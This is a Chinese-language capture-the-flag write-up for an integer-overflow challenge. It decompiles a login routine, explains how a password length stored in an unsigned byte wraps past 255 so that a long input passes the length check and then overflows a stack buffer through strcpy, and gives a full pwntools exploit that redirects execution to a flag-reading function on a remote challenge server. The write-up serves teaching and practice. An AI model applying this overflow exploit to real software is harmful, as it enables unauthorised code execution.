题目提示整型溢出。首先注意到了有直接读取flag的函数:

main()分析可得知如果v4 == 1,即可调用login()

login函数的内容如下:

int login()
{
  char buf[512]; // [esp+0h] [ebp-228h] BYREF
  char s[40]; // [esp+200h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  memset(buf, 0, sizeof(buf));
  puts("Please input your username:");
  read(0, s, 0x19u);
  printf("Hello %s\n", s);
  puts("Please input your passwd:");
  read(0, buf, 0x199u);
  return check_passwd(buf);
}

无溢出。但是buf给的很长,可以读0x199个字节,可以看到最后return check_passwd(buf);,跟进看一下这个函数:

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest[11]; // [esp+4h] [ebp-14h] BYREF
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(dest, s);
  }
  return result;
}

密码要求长度大于3小于8,如果满足条件,就执行result = strcpy(dest, s);。dest的长度为0x14,该处存在栈溢出漏洞。但是要想利用它就必须通过条件1。此时涉及到整型溢出的特性:

v3的长度为8,即0000 0000~1111 1111,十进制即0~255。

当给它赋值超过255时,会超出长度,发生高位截断。例如,赋值为257(即1 000 0001),发生高位截断,只保留低位,变成了0000 0001它的值实际为1。

根据这个特性,只要buf的长度在259~264之间即可^^。

from pwn import *
from LibcSearcher import *

elf = ELF('./51ed19eacdea43e3bd67217d08eb8a0e')

local = 0
if local == 1:
    io = process('./51ed19eacdea43e3bd67217d08eb8a0e')
else:
    io = remote('111.200.241.244',65289)

io.recvuntil("Your choice:")
io.sendline('1')
io.recvuntil("your username:\n")
io.sendline('shawroot')
io.recvuntil("your passwd:\n")
system_addr = 0x804868b
payload = 'a'*0x14+p32(0xdeadbeef)+p32(system_addr)
payload += 'a'*(260-len(payload))
io.sendline(payload)


io.interactive()